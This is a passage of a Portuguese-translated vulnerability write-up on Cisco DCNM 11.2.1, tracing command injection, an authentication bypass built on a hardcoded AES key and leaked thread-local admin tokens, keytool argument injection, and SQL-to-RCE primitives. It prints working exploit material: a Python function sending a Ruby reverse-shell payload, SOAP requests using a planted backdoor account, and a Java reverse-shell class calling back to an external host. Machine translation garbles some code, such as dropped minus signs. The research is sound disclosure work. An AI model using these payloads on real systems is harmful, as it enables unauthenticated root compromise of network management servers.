/* 119 */ if (ret != StatusCode.Success) {

/* 120 */ return ret;

/* */ }

/* 122 */ if (this.borderSetting == null) {

/* 123 */ this.borderSetting = new BorderSetting();

/* */ }

/* 125 */ return StatusCode.Success;

/* */ }

Com muitas coisas para validar, a linha [89] verifica para garantir que não temos espaços na namepropriedade. Isso se tornará importante mais tarde.

/* 150 */ if (ret != StatusCode.Success) {

/* 151 */ this.log.error(“Error creating LAN fabric due to validation error.” + ret.getDetail());

/* 152 */ } else if (fabricExists(fabricName)) {

/* 153 */ ret = StatusCode.InvalidRequest;

/* 154 */ ret.setExtra(“The LAN fabric with the same name exists.”);

/* */

/* */ }

/* */ else {

/* */

/* 159 */ ret = this.mgr.addFabric(fabric);

/* 160 */ if (ret == StatusCode.Success) {

/* 161 */ if (FabricPoolMgr.createFabricPools(fabric)) {

/* 162 */ sendNotification(“create”, “cisco.dcnm.event.lan-fabric”, “success”, fabricName, false);

/* */ } else {

/* 164 */ ret.setExtra(“Error creating pool for LAN fabric ” + fabricName);

/* */ }

/* */ }

/* */

/* 168 */ if (ret != StatusCode.Success);

/* */

/* */ }

/* */

/* */ }

/* 173 */ catch (Exception ex) {

/* 174 */ ex.printStackTrace();

/* */ }

/* */

/* */

/* 178 */ RestHelper.logMesasge(this.log, ret, “Impl: Created fabric ” + fabricName);

/* 179 */ if (ret == StatusCode.Success) {

/* */

/* */ try {

/* 182 */ DhcpSetting dhcpSetting = (fabric.getProvisionSetting() != null) ? fabric.getProvisionSetting().getDhcpSetting() : null;

/* 183 */ String primaryDns = null, secondaryDns = null, primarySubnet = null;

/* 184 */ if (dhcpSetting != null) {

/* 185 */ primaryDns = dhcpSetting.getPrimaryDNS();

/* 186 */ secondaryDns = dhcpSetting.getSecondaryDNS();

/* 187 */ primarySubnet = dhcpSetting.getPrimarySubnet();

/* */ }

/* 189 */ DhcpAutoconfigImpl dhcpImpl = new DhcpAutoconfigImpl(fabricName); // 6

De volta LanFabricImpl.createLanFabricà linha [152] , precisamos garantir que o controle fabricNamenão tenha sido criado antes (o código usa apenas uma pesquisa por hashmap).

Então, na linha [179] , podemos entrar no ramo se ligarmos com sucesso addFabricna linha [159] . Então, em [189], o código chama uma nova instância da com.cisco.dcbu.vinci.dhcp.handler.DhcpAutoconfigImplclasse com nossa fabricNamestring controlada . Vamos dar uma rápida olhada no construtor para essa classe.

/* 52 */ public DhcpAutoconfigImpl(String fabricname) {

/* */ this.dhcpConfig = “/var/lib/dcnm/dcnm-dfa.conf”;

/* */ this.dhcpConfigBkp = “/var/lib/dcnm/golden-dcnm-dfa.conf”;

/* */ this.REPLACE_GOLDEN_FILE = “mv -f /var/lib/dcnm/golden-dcnm-dfa.conf /var/lib/dcnm/dcnm-dfa.conf”;

/* 54 */ this.fabric = null;

/* 55 */ this.sharednetwork = “dcnm”;

/* 56 */ this.convertedValue = null;

/* */

/* */

/* 59 */ this.fabric = fabricname;

/* 60 */ if (!RestHelper.isDefaultLan(fabricname)) {

/* 61 */ this.dhcpConfig = “/var/lib/dcnm/” + this.fabric + “-dfa.conf”;

/* 62 */ this.dhcpConfigBkp = “/var/lib/dcnm/golden” + this.fabric + “-dfa.conf”;

/* 63 */ this.REPLACE_GOLDEN_FILE = “mv -f ” + this.dhcpConfigBkp + ” ” + this.dhcpConfig;

/* 64 */ this.sharednetwork = this.fabric;

/* */ }

O que esse código revela é que podemos injetar na this.dhcpConfigvariável

/* 69 */ public String getFabricDhcpConfigFileName() { return this.dhcpConfig; }

Continuando dentro LanFabricImpl.createLanFabric, podemos ver o restante do código:

/* 190 */ String fabricDhcpFileName = dhcpImpl.getFabricDhcpConfigFileName();

/* */

/* */

/* */

/* */

/* */

/* 196 */ dhcpImpl.updatePrimarySubent(primarySubnet, primaryDns, secondaryDns);

/* */

/* */

/* 199 */ String helpScriptFileName = getHelpScriptFileName();

/* 200 */ FileWriter writer = new FileWriter(helpScriptFileName, true);

/* 201 */ BufferedWriter bufferedWriter = new BufferedWriter(writer);

/* 202 */ bufferedWriter.write(“#!/bin/sh”);

/* 203 */ bufferedWriter.newLine();

/* 204 */ bufferedWriter.write(String.format(“sed -i ‘/dcnm-dfa.conf/a include \”%s\”;’ %s;\n”, new Object[] { fabricDhcpFileName, DhcpAutoconfigImpl.getDhcpConfigFileName() })); // 9

/* 205 */ bufferedWriter.close();

/* 206 */ Runtime.getRuntime().exec(“sh ” + helpScriptFileName);

/* 207 */ Runtime.getRuntime().exec(“rm -rf ” + helpScriptFileName);

Agora, quando o com.cisco.dcbu.vinci.dhcp.handler.DhcpAutoconfigImpl.getFabricDhcpConfigFileNamemétodo é chamado on-line [190] , podemos retornar uma string injetada em fabricDhcpFileName. Essa cadeia injetada não deve conter espaços para sobreviver a verificações anteriores .

Na linha [196] que precisamos para sobreviver esta chamada para DhcpAutoconfigImpl.updatePrimarySubent, de modo a assegurar que eu definir a primarySubnet, primaryDnse secondaryDnsvariáveis para 127.0.0.1(todos os endereços IPv4 válidos).

Então, na linha [204], o código usa o nosso injetado fabricDhcpFileNameao criar dinamicamente um script shell e, posteriormente, na linha [206] , é executado.

Para explorar isso, usei o ruby ​​com expansão bash brace, pois não era possível ter espaços. O Ruby é instalado por padrão no dispositivo e me permitiu criar um shell reverso no código que não tinha espaços.

c=TCPSocket.new(“127.0.0.1″,”1337”);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print(io.read)}end

Abaixo está o pop_a_root_shellmétodo do meu exploit que mostra o bean de entidade em camadas que eu criei no json.

def pop_a_root_shell(t, ls, lp):

“”” get dat shell! “””

handlerthr = Thread(target=handler, args=(lp,))

handlerthr.start()

uri = “https://%s/rest/fabrics” % t

cmdi = “%s\”;’`{ruby,-rsocket,-e’c=TCPSocket.new(\”%s\”,\”%d\”);” % (random_string(), ls, lp)

cmdi += “while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print(io.read)}end’}`’\””

j = {

“name” : cmdi,

“generalSetting” : {

“asn” : “1337”,

“provisionOption” : “Manual”

},

“provisionSetting” : {

“dhcpSetting”: {

“primarySubnet” : “127.0.0.1”,

“primaryDNS” : “127.0.0.1”,

“secondaryDNS” : “127.0.0.1”

},

“ldapSetting” : {

“server” : “127.0.0.1”

},

“amqpSetting” : {

“server” : “127.0.0.1:1337”

}

}

}

c = { “resttoken”: resttoken }

r = requests.post(uri, json=j, cookies=c, verify=False)

if r.status_code == 200 and ls in r.text:

return True

return False

Encadeando tudo, podemos obter a execução remota não autenticada de código como root!

Obtendo execução remota de código não autenticada como root!

Obtendo execução remota de código não autenticada como root!

Você pode baixar a exploração e testá-lo por si mesmo.

ret2toc

Cadeia RCE 3

Alvos vulneráveis:

  • Instalador para Windows (dcnm-installer-x64-windows.11.2.1.exe.zip)

Vulnerabilidade de desvio de autenticação TrustedClientTokenValidator

Dentro do diretório do aplicativo da web do Fabric Manager (FM), podemos encontrar o web.xmlque contém os mapeamentos de servlet para o aplicativo.

<servlet>

<servlet-name>restEasyServlet</servlet-name>

<servlet-class>org.jboss.resteasy.plugins.server.servlet.HttpServletDispatcher</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>restEasyServlet</servlet-name>

<url-pattern>/fmrest/*</url-pattern>

</servlet-mapping>

<context-param>

<param-name>resteasy.providers</param-name>

<param-value>com.cisco.dcbu.web.client.rest.RestSecurityInterceptor</param-value>

</context-param>

Vários prestadores de serviço também são registrados e o mais interessante deles é o com.cisco.dcbu.web.client.rest.RestSecurityInterceptorinterceptador.

/* */ @Provider

/* */ @ServerInterceptor

/* */ @ClientInterceptor

/* */ @Precedence(“SECURITY”)

/* */ public class RestSecurityInterceptor

/* */ implements ContainerRequestFilter

/* */ {

/* */ @Context

/* */ HttpServletRequest servletRequest;

/* */ @Context

/* */ ResourceInfo resourceInfo;

/* */ private static final String HTTP_POST_METHOD = “POST”;

/* */ private static final String HTTP_GET_METHOD = “GET”;

/* 82 */ private static final String[] BY_PASS_PAGES = { “/dcnm/auth”, “/dcnm/role”, “/about”, “/about/version”, “/epl/getKibanaConfig”, “/security/apptoken/create”, “/dcnm/newauth” };

/* */

/* */ public void filter(ContainerRequestContext requestContext) {

/* 85 */ ServerResponse response = null;

/* 86 */ Method method = this.resourceInfo.getResourceMethod();

/* */

/* */

/* 89 */ if (!ReferrerValidator.isReferrerValid(this.servletRequest)) {

/* 90 */ response = new ServerResponse(“Invalid Referrer.”, 403, new Headers());

/* */ } else {

/* */

/* */

/* */ try {

/* 95 */ doTokenValidation(requestContext, method);

/* */

/* */ // …

/* */ }

A precedência é definida como SECURITY, o que significa que esse interceptador será executado primeiro antes de qualquer outro interceptador. Para referência, aqui está a ordem de precedência:

  1. SEGURANÇA
  2. HEADER_DECORATOR
  3. CODIFICADOR
  4. REDIRECIONAR
  5. DECODER

Na linha [95] , podemos ver uma chamada para RestSecurityInterceptor.doTokenValidationusar a ContainerRequestContextinstância. Esta é literalmente uma API de interface para a solicitação HTTP completa.

/* */ private void doTokenValidation(ContainerRequestContext requestContext, Method method) throws AuthenticationException {

/* 219 */ if (bypass(requestContext))

/* */ return;

/* 221 */ String token = null;

/* 222 */ String afwToken = null;

/* */

/* 224 */ String appToken = HttpRequestDataProvider.getAppToken(this.servletRequest);

/* 225 */ if (appToken != null)

/* */

/* */ { try {

/* 228 */ token = AfwTokenValidator.validateRequest(this.servletRequest, true);

/* 229 */ } catch (Exception e) {

/* 230 */ throw new AuthenticationException(“Token failed the authentication due to ” + e.getMessage());

/* */ } }

/* 232 */ else { if ((afwToken = getAfwToken()) != null && TrustedClientTokenValidator.isValid(afwToken)) {

/* */

/* */

/* */

/* 236 */ AfwSecurityLogger.info(“API invoked by a trusted client.”);

/* */

/* */

/* */ return;

/* */ }

/* */

/* */

/* 243 */ if (isBlank(token = getTokenFromHeader()) &&

/* 244 */ isBlank(token = getTokenFromQueryString()) &&

/* 245 */ isBlank(token = getTokenFromCookie(requestContext))) {

/* */

/* 247 */ if (validAppToken(method))

/* */ return;

/* 249 */ throw new AuthenticationException(“Token is missing from the request.”);

/* */ } }

/* 251 */ if (!authenticateToken(token)) {

/* 252 */ throw new AuthenticationException(“Token failed the authentication”);

/* */ }

/* */

/* */

/* 256 */ setToken(token);

/* */ }

Na linha [219] , não podemos simplesmente retornar da chamada RestSecurityInterceptor.bypassporque esse método contém verificações de igualdade e não verificações de indexação.

/* */ private boolean bypass(ContainerRequestContext requestContext) {

/* 379 */ String restPath = requestContext.getUriInfo().getPath();

/* */

/* 381 */ for (String bypassStr : BY_PASS_PAGES) {

/* 382 */ if (restPath.equals(bypassStr)) {

/* 383 */ return true;

/* */ }

/* */ }

/* 386 */ return false;

/* */ }

Nosso objetivo é chegar a uma return;declaração em RestSecurityInterceptor.doTokenValidation, portanto, definir a appTokenvariável na linha [224] para o valor do afw-app-tokencabeçalho HTTP em nossa solicitação NÃO alcançará isso.

Continuando, há uma chamada para RestSecurityInterceptor.getAfwTokenna linha [232] no bloco else que está tentando definir a afwTokenvariável.

/* */ private String getAfwToken() {

/* 348 */ String token = null;

/* 349 */ if (!isBlank(token = this.servletRequest.getHeader(“afw-token”))) {

/* 350 */ return token;

/* */ }

/* 352 */ return null;

/* */ }

Podemos definir o afwTokenvalor controlado da solicitação usando o afw-tokencabeçalho HTTP. Agora vamos investigar o TrustedClientTokenValidator.isValidmétodo estático.

/* */ public class TrustedClientTokenValidator

/* */ {

/* */ private static final String KEY = “s91zEQmb305F!90a”;

/* */ private static final int TIME_TILL_VALID = 15000;

/* 51 */ private static final Log log = LogFactory.getLog(“fms.security”);

/* */

/* */

/* */ private static Cipher cipher;

/* */

/* */

/* */

/* */ static {

/* */ try {

/* 60 */ iv = new IvParameterSpec(new byte[16]);

/* 61 */ SecretKeySpec skeySpec = new SecretKeySpec(“s91zEQmb305F!90a”.getBytes(“UTF-8”), “AES”);

/* 62 */ cipher = Cipher.getInstance(“AES/CBC/PKCS5PADDING”);

/* 63 */ cipher.init(2, skeySpec, iv);

/* 64 */ } catch (Exception e) {

/* 65 */ log.error(e);

/* */ }

/* */ }

/* */

/* */

/* */

/* */

/* */

/* */

/* */

/* */

/* */ public static boolean isValid(String token) {

/* */ try {

/* 78 */ byte[] decryptedText = cipher.doFinal(Base64.getDecoder().decode(token));

/* 79 */ byte[] last10Bytes = new byte[10];

/* 80 */ System.arraycopy(decryptedText, decryptedText.length 10, last10Bytes, 0, 10);

/* */

/* 82 */ long userSuppliedTime = Long.parseLong(new String(last10Bytes)) * 1000L;

/* 83 */ long now = System.currentTimeMillis();

/* 84 */ long lowerBound = now 15000L;

/* */

/* 86 */ return (userSuppliedTime >= lowerBound && userSuppliedTime <= now);

/* 87 */ } catch (Exception ex) {

/* 88 */ log.error(ex);

/* */

/* */

/* 91 */ return false;

/* */ }

/* */ }

/* */ }

A com.cisco.dcbu.lib.afw.TrustedClientTokenValidatorclasse configura um inicializador estático com uma Cipherinstância inicializada usando uma chave codificada s91zEQmb305F!90a. Quando o TrustedClientTokenValidator.isValidmétodo é chamado, o código tenta decodificar o token fornecido e decodificá-lo usando a chave estática.

Isso é armazenado em uma matriz de bytes e os últimos 10 bytes são extraídos e analisados ​​como um Longo. Um lowerBoundvalor longo é criado a partir do horário atual em milissegundos -15 segundos. Se fornecermos um valor maior que o tempo lowerBoundmenor que o atual, poderemos retornar truee, posteriormente, retornar com RestSecurityInterceptor.doTokenValidationsegurança.

Uma vez que retornamos RestSecurityInterceptor.doTokenValidation, ainda somos confrontados com outro obstáculo na linha [99], que é o chamado IdentityManager.isAdmin.

/* 98 */ if (method.isAnnotationPresent(com.cisco.dcbu.sm.common.annotation.AdminAccess.class) &&

/* 99 */ !IdentityManager.getInstance().isAdmin())

/* */ {

/* */

/* 102 */ response = new ServerResponse(“Access denied”, 403, new Headers());

/* */ }

/* */

/* */

/* */

/* 107 */ if (requestContext.getMethod().equals(“POST”)) {

/* 108 */ processPostData(requestContext);

/* 109 */ } else if (requestContext.getMethod().equals(“GET”)) {

/* 110 */ processGetData(requestContext);

/* */ }

/* 112 */ } catch (AuthenticationException auEx) {

/* 113 */ auEx.printStackTrace();

/* 114 */ response = new ServerResponse(“Failed to access to the server”, 401, new Headers());

/* 115 */ } catch (Exception ex) {

/* 116 */ ex.printStackTrace();

/* 117 */ response = new ServerResponse(“Illegal access to the server”, 401, new Headers());

/* */ }

/* */ }

/* */

/* 121 */ if (response != null) {

/* 122 */ requestContext.abortWith(response);

/* */ }

Se definirmos a responsevariável, o jogo terminará para nós, porque na linha [121] há uma verificação de um valor nulo responsee, se estiver definido, o código será cancelado e não permitirá que nosso pedido HTTP seja concluído.

A toca do coelho vai mais fundo

É certo que, quando desenvolvi o poc para esse bug, às vezes não definia a responsevariável e não fazia ideia do porquê, então estava ignorando a autenticação quando não deveria. Em outros casos, eu como atingindo a linha [102] e configurando a resposta para um 403 Access negado .

Eu verifiquei isso definindo um ponto de interrupção após a IdentityManager.isAdminverificação de chamada do método.

`response` é nulo após executar a verificação de chamada do método IdentityManager.isAdmin

`response` é nulo após executar a verificação de chamada do método IdentityManager.isAdmin

Vamos mergulhar no IdentityManager.isAdminmétodo

/* */ public boolean isAdmin() {

/* 159 */ boolean isAdmin = false;

/* 160 */ if (SecurityHandler.getToken() != null) {

/* 161 */ FMUserBase user = extractToken(SecurityHandler.getToken());

/* 162 */ if (user != null && UserRoles.INSTANCE.isAdmin(user.getRoles())) {

/* 163 */ isAdmin = true;

/* */ }

/* */ }

/* 166 */ return isAdmin;

/* */ }

Dentro da SecurityHandlerturma.

/* */ public class SecurityHandler

/* */ extends GenericSOAPHandler

/* */ {

/* */

/* */ // …

/* */

/* 67 */ private static InheritableThreadLocal<String> tkn = new InheritableThreadLocal();

/* 68 */ private static InheritableThreadLocal<String> sessId = new InheritableThreadLocal();

/* */

/* */ // …

/* */

/* 206 */ public static String getToken() { return (String)tkn.get(); }

De alguma forma ainda, SecurityHandler.getTokenestava retornando um valor não nulo?

Eu sou um administrador quando não deveria

Eu sou um administrador quando não deveria

Percebi que a função estava definida network-admin, que não é o que enviei na minha carga, mas enviei global-admin. Então, de onde network-adminvem? A SecurityHandler.tknvariável é uma instância da java.lang.InheritableThreadLocalclasse.

A dica está no nome da classe InheritableThreadLocal,. Esta classe herda o getmétodo da superclasse ThreadLocal. Ele obtém uma instância de ThreadLocalMapem [1] que foi criada com o construtor em [2] . Em seguida, define valores chamando childValueo valor do thread pai em [5] e atribuindo-o ao thread filho.

public class ThreadLocal<T> {

// …

public T get() {

Thread t = Thread.currentThread();

ThreadLocalMap map = getMap(t); // 1

if (map != null) {

ThreadLocalMap.Entry e = map.getEntry(this);

if (e != null) {

@SuppressWarnings(“unchecked”)

T result = (T)e.value;

return result;

}

}

return setInitialValue();

}

static class ThreadLocalMap {

static class Entry extends WeakReference<ThreadLocal<?>> {

/** The value associated with this ThreadLocal. */

Object value;

Entry(ThreadLocal<?> k, Object v) {

super(k);

value = v;

}

}

// …

private ThreadLocalMap(ThreadLocalMap parentMap) { // 2

Entry[] parentTable = parentMap.table;

int len = parentTable.length;

setThreshold(len);

table = new Entry[len];

for (int j = 0; j < len; j++) {

Entry e = parentTable[j]; // entries are coming from the parent ThreadLocalMap

if (e != null) {

@SuppressWarnings(“unchecked”)

ThreadLocal<Object> key = (ThreadLocal<Object>) e.get();

if (key != null) {

Object value = key.childValue(e.value); // 3

Entry c = new Entry(key, value);

int h = key.threadLocalHashCode & (len 1);

while (table[h] != null)

h = nextIndex(h, len);

table[h] = c;

size++;

}

}

}

}

public class InheritableThreadLocal<T> extends ThreadLocal<T> {

protected T childValue(T parentValue) {

return parentValue; // 5

}

Essa cópia de valores do encadeamento pai para o filho é conhecida como cópia superficial , que é apenas uma cópia na referência e é uma fraqueza conhecida no Java Runtime. Portanto, o código está realmente chamando IdentityManager.extractTokenum token administrativo legítimo que vazou do encadeamento pai!

Ignorando TrustedClientTokenValidator.isValid e (ab) usando uma falha de design no Java Runtime para ignorar a autenticação

Ignorando TrustedClientTokenValidator.isValid e (ab) usando uma falha de design no Java Runtime para ignorar a autenticação

Um hacker selvagem aparece!

Um hacker selvagem aparece!

ret2toc

Vulnerabilidade de execução remota de código na injeção de comando SanWS importTS

Dentro da com.cisco.dcbu.jaxws.san.ep.SanWSclasse, podemos encontrar a definição do importTSmétodo de serviço da web:

/* */ @Remote({SanSEI.class})

/* */ @SOAPBinding(style = SOAPBinding.Style.RPC, use = SOAPBinding.Use.LITERAL)

/* */ @HandlerChain(file = “../../ep/fms-jaxws-handlers.xml”)

/* */ @WebContext(contextRoot = “/SanWSService”, urlPattern = “/SanWS”)

/* */ @WebService(name = “San”, serviceName = “SanService”, endpointInterface = “com.cisco.dcbu.jaxws.san.ep.SanSEI”)

/* */ @TransactionAttribute(TransactionAttributeType.NEVER)

/* */ @Stateless

/* */ public class SanWS

/* */ implements SanSEI

/* */ {

/* */

/* */ //…

/* */

/* */ @WebMethod(operationName = “importTS”)

/* */ @WebResult(name = “result”, partName = “result”)

/* */ public CallResultDO importTS(String certFile, String serverIPAddress) {

/* 10893 */ String keytool = System.getProperty(“java.home”) + File.separator + “bin” + File.separator + “keytool”;

/* */

/* */

/* */

/* 10897 */ String trustStore = ClientCache.getJBossHome() + File.separator + “server” + File.separator + “fm” + File.separator + “conf” + File.separator + “fmtrust.jks”;

/* */

/* */

/* */

/* */

/* */

/* */

/* */

/* */

/* */

/* */

/* 10908 */ String cmd = “\”” + keytool + “\” -importcert -trustcacerts -keystore \”” + trustStore + “\” -file \”” + certFile + “\””;

/* */

/* */

/* */ try {

/* 10912 */ int rc = Runtime.getRuntime().exec(cmd).waitFor(); // 1

/* */

/* 10914 */ if (rc != 0) {

/* 10915 */ System.out.println(“Here”);

/* */ }

/* 10917 */ } catch (Exception ex) {

/* 10918 */ System.out.println(“here”);

/* */ }

/* 10920 */ return new CallResultDO();

/* */ }

Podemos ver na linha [10908] que uma string chamada cmdé criada usando a certFilestring de um parâmetro SOAP fornecido pelo invasor. Na linha [10912], a cmdstring é usada em uma chamada para Runtime.getRuntime().exec(), assim, acionar a injeção de comando!

O comando completo para a injeção é assim: C:\Program Files\Cisco Systems\dcm\java\jre1.8\bin\keytool.exe -importcert -trustcacerts -keystore C:\Program Files\Cisco Systems\dcm\fm\conf\cert\fmtrust.jks -file <attacker controlled>

Se você já tentou explorar a injeção de comandos em Java via Runtime.getRuntime().exec()API, saberá que está limitado ao binário sendo executado.

Por exemplo, se a injeção fosse cmd.exeassim: cmd.exe /c “C:\Program Files\Cisco Systems\dcm\java\jre1.8\bin\keytool.exe -importcert -trustcacerts -keystore C:\Program Files\Cisco Systems\dcm\fm\conf\cert\fmtrust.jks -file <attacker controlled>”poderíamos ter acabado de fazer &&calc.exee encerrar o dia.

Mas estamos no contexto keytool.exe, para que possamos realmente só injetar em TI de argumentos. Como se  , podemos usar os argumentos providerclasse providerpathpara carregar uma classe Java remota de um compartilhamento SMB e obter execução remota de código! Tudo o que precisamos fazer é ter algum código dentro do inicializador estático das classes fornecidas.

import java.io.*;

public class Si{

static{

try{

Runtime rt = Runtime.getRuntime();

Process proc = rt.exec(“calc”);

}catch (IOException e){}

}

}

Lembre-se de que nosso destino usa a versão Java 1.8u201, portanto, precisamos compilar a classe com a mesma versão principal! Depois de fazer isso, podemos fazer login no /LogonWSService/LogonWSterminal com a conta backdoor que criamos a partir do nosso desvio de autenticação .

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:ep=”http://ep.jaxws.dcbu.cisco.com/”>

<soapenv:Header/>

<soapenv:Body>

<ep:requestToken>

<username>hacker</username>

<password>Hacked123</password>

<expiration>100000</expiration>

</ep:requestToken>

</soapenv:Body>

</soapenv:Envelope>

O servidor responde com um token.

<soap:Envelope xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/”><soap:Body><ns1:requestTokenResponse xmlns:ns1=”http://ep.jaxws.dcbu.cisco.com/”><return>xWPX64FmO4F4AfCSjjV1U5kwTMgS3OTgkjf8829Bi+o=</return></ns1:requestTokenResponse></soap:Body></soap:Envelope>

Agora podemos disparar a carga da classe remota através da injeção de comando e obter execução remota de código!

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:ep=”http://ep.san.jaxws.dcbu.cisco.com/”>

<SOAP-ENV:Header xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsd=”http://www.w3.org/2001/XMLSchema” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”>

<m:token xmlns:m=”http://ep.jaxws.dcbu.cisco.com/”>xWPX64FmO4F4AfCSjjV1U5kwTMgS3OTgkjf8829Bi+o=</m:token>

</SOAP-ENV:Header>

<soapenv:Body>

<ep:importTS>

<certFile>” -providerclass Si -providerpath “\\vmware-host\Shared Folders\tools</certFile>

<serverIPAddress></serverIPAddress>

</ep:importTS>

</soapenv:Body>

</soapenv:Envelope>

No exemplo abaixo, Si.javahavia uma concha reversa.

import java.io.IOException;

import java.io.InputStream;

import java.io.OutputStream;

import java.net.Socket;

public class Si {

static{

try {

String host = “192.168.100.159”;

int port = 1337;

String cmd = “cmd.exe”;

Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();

Socket s = new Socket(host,port);

InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();

OutputStream po = p.getOutputStream(), so = s.getOutputStream();

while(!s.isClosed()){

while(pi.available()>0){

so.write(pi.read());

}

while(pe.available()>0){

so.write(pe.read());

}

while(si.available()>0){

po.write(si.read());

}

so.flush();

po.flush();

Thread.sleep(50);

try {

p.exitValue();

break;

}catch (Exception e){}

}

p.destroy();

s.close();

}catch (IOException | InterruptedException e){ }

}

}

Carregando classes Java remotas e obtendo execução remota de código

Carregando classes Java remotas e obtendo execução remota de código

Você pode baixar a exploração e testá-lo por si mesmo. Você precisará de um servidor SMB que hospede o Si.classarquivo.

ret2toc

Primitivas SQLi2RCE

Estas são as primitivas de execução remota de código que usei para encadear com vulnerabilidades arbitrárias de execução de sql. Essas primitivas tiram vantagem da confiança assumida que o código do aplicativo tinha no banco de dados.

Em cada um desses casos, não houve ataque de segunda ordem – o que significa que o estágio de inserção da injeção de dados foi filtrado para entrada maliciosa o suficiente para impedir a execução direta remota de código. É por isso que eles próprios não são considerados vulnerabilidades.

Primitivo 1 – Gravação de arquivo transversal do diretório

Alvos vulneráveis:

  • Instalador para Windows (dcnm-installer-x64-windows.11.2.1.exe.zip)
  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Dentro da com.cisco.dcbu.jaxws.san.ep.ReportWSclasse, podemos ver o seguinte método de serviço da web.

/* */ @WebMethod

/* */ public ReportAttributeDO[] openReportTemplate(String reportTemplateName, String userName) throws SanServiceException, InvalidArgumentException {

/* */ try {

/* 402 */ if (reportTemplateName == null || userName == null) throw new InvalidArgumentException();

/* 403 */ ArrayList<ReportAttribute> reportAttrs = ReportUtil.getInstance().openReportTemplate(reportTemplateName, userName);

/* 404 */ ReportAttributeDO[] attrArray = new ReportAttributeDO[reportAttrs.size()];

/* 405 */ for (int i = 0; i < reportAttrs.size(); i++) {

/* 406 */ attrArray[i] = new ReportAttributeDO((ReportAttribute)reportAttrs.get(i));

/* */ }

/* 408 */ return attrArray;

/* 409 */ } catch (InvalidArgumentException e) {

/* 410 */ logger.warn(“SanWS caught exception in deleteReportTemplate():”, e);

/* 411 */ throw e;

/* 412 */ } catch (Throwable e) {

/* 413 */ logger.warn(“SanWS caught exception in deleteReportTemplate():”, e);

/* 414 */ throw new SanServiceException(“Cannot deleteReportTemplate:” + userName, e);

/* */ }

/* */ }

Este método também pode ser alcançado a partir da com.cisco.dcbu.web.client.rest.ReportRestclasse na linha [877], que é uma classe registrada padrão para a interface REST do Fabric Manager.

/* */ @GET

/* */ @Path(“reporttemplateopen”)

/* */ @Produces({“application/json”})

/* */ public ReportAttributeDO[] getReportTemplateOpen(@Context UriInfo info) {

/* 872 */ ServerResponse rsp = null;

/* */ try {

/* 874 */ String tplName = RestUtil.getParameter(info, “tplName”);

/* 875 */ String userName = RestUtil.getParameter(info, “userName”);

/* 876 */ ReportSEI rpt = EjbRegistry.getInstance().getReportIntf();

/* 877 */ return rpt.openReportTemplate(tplName, userName);

/* 878 */ } catch (Exception ex) {

/* 879 */ this._Log.warn(ex.getMessage(), ex);

/* */

/* 881 */ return null;

/* */ }

/* */ }

O método chama ReportUtil.openReportTemplateon line [403] com nossos controlados tplName(ou reportTemplateName) e userName.

/* */ public ArrayList<ReportAttribute> openReportTemplate(String reportTemplateName, String userName) {

/* 707 */ ArrayList<ReportAttribute> reportAttributeList = new ArrayList<ReportAttribute>();

/* */ try {

/* 709 */ File file2Read = new File(_FullReportDir + File.separator + userName + File.separator + “custom” + File.separator + reportTemplateName);

/* */

/* */

/* */

/* */

/* 714 */ PersistentHelper.getHelper().retrieveFile(reportTemplateName, file2Read, userName);

O código cria um caminho na linha [709] para o reportTemplateNameparâmetro controlado que pode conter travessias de diretório. Então na linha [714] o código chama PersistentHelper.retrieveFilecom todos os três (3) parâmetros controlados.

/* */ public long retrieveFile(String fileName, File destination, String userName) throws Exception {

/* */ return retrieveFile(fileName, destination, userName, “xmlDocs”);

/* */ }

Então PostgresWrapper.retrieveFileé chamado com os mesmos argumentos, bem como a xmlDocsstring. Eu tive alguns problemas ao descompilar esse POJI no eclipse, e é por isso que o código está faltando números de linha.

/* */ public long retrieveFile(String fileName, File destination, String userName, String tableName) throws Exception {

/* */ conn = null;

/* */ ps = null;

/* */ rs = null;

/* */ long checksum = 0L;

/* */

/* */ try {

/* */ String sql = “SELECT content, checksum FROM ” + tableName + ” WHERE document_name = ? ” + ((userName != null && userName.length() > 0) ? ” and user_name = ?” : “”);

/* */ _Logger.debug(“retrieveFile() path: ” + destination.getPath());

/* */ _Logger.debug(“retrieveFile() sql: ” + sql);

/* */ conn = ConnectionManager.getConnection();

/* */ ps = conn.prepareStatement(sql);

/* */ ps.setString(1, fileName);

/* */ if (userName != null && userName.length() > 0) ps.setString(2, userName);

/* */ rs = ps.executeQuery();

/* */ while (rs.next()) {

/* */ byte[] content = rs.getBytes(1);

/* */ FileOutputStream fos = new FileOutputStream(destination);

/* */ fos.write(content);

/* */ fos.close();

Podemos que nosso controle destinationseja usado como um local para uma gravação através do FileOutputStreamobjeto de instância. O contentpara a gravação é obtido diretamente do banco de dados sem mais verificações. Se pudermos atualizar o contentnesta tabela usando uma injeção SQL, podemos essencialmente escrever código controlado em um arquivo arbitrário.

ret2toc

Primitiva 2 – Desserialização de Dados Não Confiáveis

Alvos vulneráveis:

  • Instalador para Windows (dcnm-installer-x64-windows.11.2.1.exe.zip)
  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Usando uma injeção de SQL, podemos injetar cargas serializadas no banco de dados e posteriormente disparar a desserialização. Dentro da com.cisco.dcbu.web.client.rest.health.vpc.VirtualPortChannelclasse REST, podemos ver o getVpcPeerHistoryDetailsmétodo

/* */ @GET

/* */ @Produces({“application/json”})

/* */ @Path(“vpcwizard/history/details”)

/* */ public Response getVpcPeerHistoryDetails(@QueryParam(“context”) String context, @QueryParam(“jobId”) String jobId) {

/* */ try {

/* 486 */ return Response.ok(ConfigHistoryUtil.getJobDetails(context, Long.parseLong(jobId))).build();

/* 487 */ } catch (Exception ex) {

/* 488 */ _Log.error(“getVpcPeerHistory”, ex);

/* */

/* 490 */ return Response.serverError().build();

/* */ }

/* */ }

Na linha [486] , podemos ver uma chamada para ConfigHistoryUtil.getJobDetails.

/* */ public static ConfigDeploymentStatus getJobDetails(String context, long jobId) {

/* 221 */ con = null;

/* 222 */ stmt = null;

/* 223 */ rs = null;

